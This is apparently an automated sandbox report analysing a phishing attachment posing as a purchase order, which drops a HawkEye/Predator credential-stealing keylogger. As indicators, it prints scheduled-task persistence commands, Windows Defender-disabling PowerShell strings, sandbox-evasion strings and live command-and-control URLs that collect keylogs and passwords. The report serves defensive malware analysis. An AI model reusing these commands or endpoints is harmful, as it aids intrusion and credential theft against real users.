Edit tour

Windows Analysis Report
REVISED PURCHASE ORDER.HTML

Overview

General Information

Sample Name:	REVISED PURCHASE ORDER.HTML
Analysis ID:	812375
MD5:	08c8f5d50d37e8caf57920c269cf8998
SHA1:	589f04b577b615e68c761108ffe9ddc24928cb6c
SHA256:	59b7343f85031e5b74911012ef2ccb9744393fd95b6341eddf890a94c3cb1b08
Infos:

Detection

Predator

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Sigma detected: Scheduled temp file as task from temp location

Antivirus detection for URL or domain

Yara detected Predator

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

HTML document with suspicious name

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Machine Learning detection for dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Creates processes with suspicious names

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Drops PE files

Tries to load missing DLLs

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4552 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 1944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1824,i,8588075686359145488,6745055001318755310,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

unarchiver.exe (PID: 6656 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 6708 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\itl30nap.yii" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6948 cmdline: cmd.exe" /C "C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE MD5: 8BF528E76290091A786846C8F8FFBCF5)

schtasks.exe (PID: 2948 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE (PID: 7116 cmdline: {path} MD5: 8BF528E76290091A786846C8F8FFBCF5)

Zip.exe (PID: 5580 cmdline: "C:\Users\user\AppData\Local\Temp\Zip.exe" MD5: 3AFD64484A2A34FC34D1155747DD3847)

chrome.exe (PID: 1952 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\REVISED PURCHASE ORDER.HTML MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

asGTRKuvQ.exe (PID: 6548 cmdline: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe MD5: 8BF528E76290091A786846C8F8FFBCF5)

schtasks.exe (PID: 6748 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

asGTRKuvQ.exe (PID: 6700 cmdline: {path} MD5: 8BF528E76290091A786846C8F8FFBCF5)

update_232107.exe (PID: 6564 cmdline: "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start MD5: 8BF528E76290091A786846C8F8FFBCF5)

update_232107.exe (PID: 2096 cmdline: "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start MD5: 8BF528E76290091A786846C8F8FFBCF5)

update_232107.exe (PID: 3560 cmdline: "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start MD5: 8BF528E76290091A786846C8F8FFBCF5)

update_232107.exe (PID: 5708 cmdline: "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start MD5: 8BF528E76290091A786846C8F8FFBCF5)

schtasks.exe (PID: 4800 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

update_232107.exe (PID: 4924 cmdline: {path} MD5: 8BF528E76290091A786846C8F8FFBCF5)

update_232107.exe (PID: 6504 cmdline: {path} MD5: 8BF528E76290091A786846C8F8FFBCF5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
HawkEye Keylogger, Predator Pain	HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal credentials from numerous applications but, in the last observed versions, new "loader capabilities" have been spotted. It is sold by its development team on dark web markets and hacking forums.	No Attribution	http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/ https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md	https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: asGTRKuvQ.exe PID: 6548	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: update_232107.exe PID: 2096	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: update_232107.exe PID: 5708	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: update_232107.exe PID: 5708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: asGTRKuvQ.exe PID: 6700	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: asGTRKuvQ.exe PID: 6700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: update_232107.exe PID: 6504	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: update_232107.exe PID: 6504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c44a:$s1: \Vpn\NordVPN 0x2032e:$s2: \VPN\OpenVPN 0x2039c:$s3: \VPN\ProtonVPN
33.2.update_232107.exe.3853138.3.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
33.2.update_232107.exe.3853138.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
33.2.update_232107.exe.3853138.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
33.2.update_232107.exe.3853138.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c44a:$s1: \Vpn\NordVPN 0x2032e:$s2: \VPN\OpenVPN 0x2039c:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x21f04:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x21f48:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x21f90:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2221c:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x22280:$s2: Set-MpPreference -DisableArchiveScanning $true 0x222d8:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x22330:$s4: Set-MpPreference -DisableScriptScanning $true 0x2237c:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x223bc:$s6: Set-MpPreference -MAPSReporting 0 0x22408:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x22460:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x224b0:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x22500:$s10: Set-MpPreference -SevereThreatDefaultAction 6
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x16410:$v1: SbieDll.dll 0x16464:$v2: USER 0x164ac:$v3: SANDBOX 0x167dc:$v3: SANDBOX 0x164f8:$v4: VIRUS 0x166e2:$v4: VIRUS 0x16540:$v5: MALWARE 0x1658c:$v6: SCHMIDTI 0x165dc:$v7: CURRENTUSER
21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x2a024:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x2a068:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2a0b0:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2a33c:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x2a3a0:$s2: Set-MpPreference -DisableArchiveScanning $true 0x2a3f8:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x2a450:$s4: Set-MpPreference -DisableScriptScanning $true 0x2a49c:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x2a4dc:$s6: Set-MpPreference -MAPSReporting 0 0x2a528:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x2a580:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x2a5d0:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x2a620:$s10: Set-MpPreference -SevereThreatDefaultAction 6
21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x1e450:$v1: SbieDll.dll 0x1e4a4:$v2: USER 0x1e4ec:$v3: SANDBOX 0x1e72c:$v3: SANDBOX 0x1e538:$v4: VIRUS 0x1e6aa:$v4: VIRUS 0x1e580:$v5: MALWARE 0x1e5cc:$v6: SCHMIDTI 0x1e61c:$v7: CURRENTUSER
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x2a024:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x2a068:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2a0b0:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2a33c:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x2a3a0:$s2: Set-MpPreference -DisableArchiveScanning $true 0x2a3f8:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x2a450:$s4: Set-MpPreference -DisableScriptScanning $true 0x2a49c:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x2a4dc:$s6: Set-MpPreference -MAPSReporting 0 0x2a528:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x2a580:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x2a5d0:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x2a620:$s10: Set-MpPreference -SevereThreatDefaultAction 6
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x1e530:$v1: SbieDll.dll 0x1e584:$v2: USER 0x1e5cc:$v3: SANDBOX 0x1e8fc:$v3: SANDBOX 0x1e618:$v4: VIRUS 0x1e802:$v4: VIRUS 0x1e660:$v5: MALWARE 0x1e6ac:$v6: SCHMIDTI 0x1e6fc:$v7: CURRENTUSER
42.2.update_232107.exe.465ae8.2.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
42.2.update_232107.exe.465ae8.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
42.2.update_232107.exe.465ae8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
42.2.update_232107.exe.465ae8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c44a:$s1: \Vpn\NordVPN 0x2032e:$s2: \VPN\OpenVPN 0x2039c:$s3: \VPN\ProtonVPN
21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x21f04:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x21f48:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x21f90:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2221c:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x22280:$s2: Set-MpPreference -DisableArchiveScanning $true 0x222d8:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x22330:$s4: Set-MpPreference -DisableScriptScanning $true 0x2237c:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x223bc:$s6: Set-MpPreference -MAPSReporting 0 0x22408:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x22460:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x224b0:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x22500:$s10: Set-MpPreference -SevereThreatDefaultAction 6
21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x16330:$v1: SbieDll.dll 0x16384:$v2: USER 0x163cc:$v3: SANDBOX 0x1660c:$v3: SANDBOX 0x16418:$v4: VIRUS 0x1658a:$v4: VIRUS 0x16460:$v5: MALWARE 0x164ac:$v6: SCHMIDTI 0x164fc:$v7: CURRENTUSER
33.2.update_232107.exe.37ef853.2.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
33.2.update_232107.exe.37ef853.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
33.2.update_232107.exe.37ef853.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
33.2.update_232107.exe.37ef853.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7fd2f:$s1: \Vpn\NordVPN 0x83c13:$s2: \VPN\OpenVPN 0x83c81:$s3: \VPN\ProtonVPN
42.2.update_232107.exe.402203.1.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
42.2.update_232107.exe.402203.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
42.2.update_232107.exe.402203.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
42.2.update_232107.exe.402203.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7fd2f:$s1: \Vpn\NordVPN 0x83c13:$s2: \VPN\OpenVPN 0x83c81:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x80332:$s1: \Vpn\NordVPN 0x84216:$s2: \VPN\OpenVPN 0x84284:$s3: \VPN\ProtonVPN
42.2.update_232107.exe.400000.0.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
42.2.update_232107.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
42.2.update_232107.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
42.2.update_232107.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x80332:$s1: \Vpn\NordVPN 0x84216:$s2: \VPN\OpenVPN 0x84284:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7fd2f:$s1: \Vpn\NordVPN 0x83c13:$s2: \VPN\OpenVPN 0x83c81:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7e732:$s1: \Vpn\NordVPN 0x82616:$s2: \VPN\OpenVPN 0x82684:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x277172:$s1: \Vpn\NordVPN 0x27b056:$s2: \VPN\OpenVPN 0x27b0c4:$s3: \VPN\ProtonVPN
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c6552:$s1: \Vpn\NordVPN 0x1ca436:$s2: \VPN\OpenVPN 0x1ca4a4:$s3: \VPN\ProtonVPN
Click to see the 46 entries

Sigma Signatures

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, ParentImage: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, ParentProcessId: 6984, ParentProcessName: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp, ProcessId: 2948, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249735802022818 02/21/23-07:07:04.545552
SID:	2022818
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249740802022818 02/21/23-07:07:25.877440
SID:	2022818
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249732802022818 02/21/23-07:06:58.869435
SID:	2022818
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249744802022818 02/21/23-07:07:48.640336
SID:	2022818
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249745802022818 02/21/23-07:07:59.634397
SID:	2022818
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://mavelecgr.com/webpanel//task.php?hwid=CH35A22CC8A7	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//screen.php?hwid=CH35A22CC8A7	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFi	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//config.json	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel/	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A7	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A70	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//gate.php?hwid=CH35A22CC8A7	Avira URL Cloud: Label: malware

Yara detected Predator

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
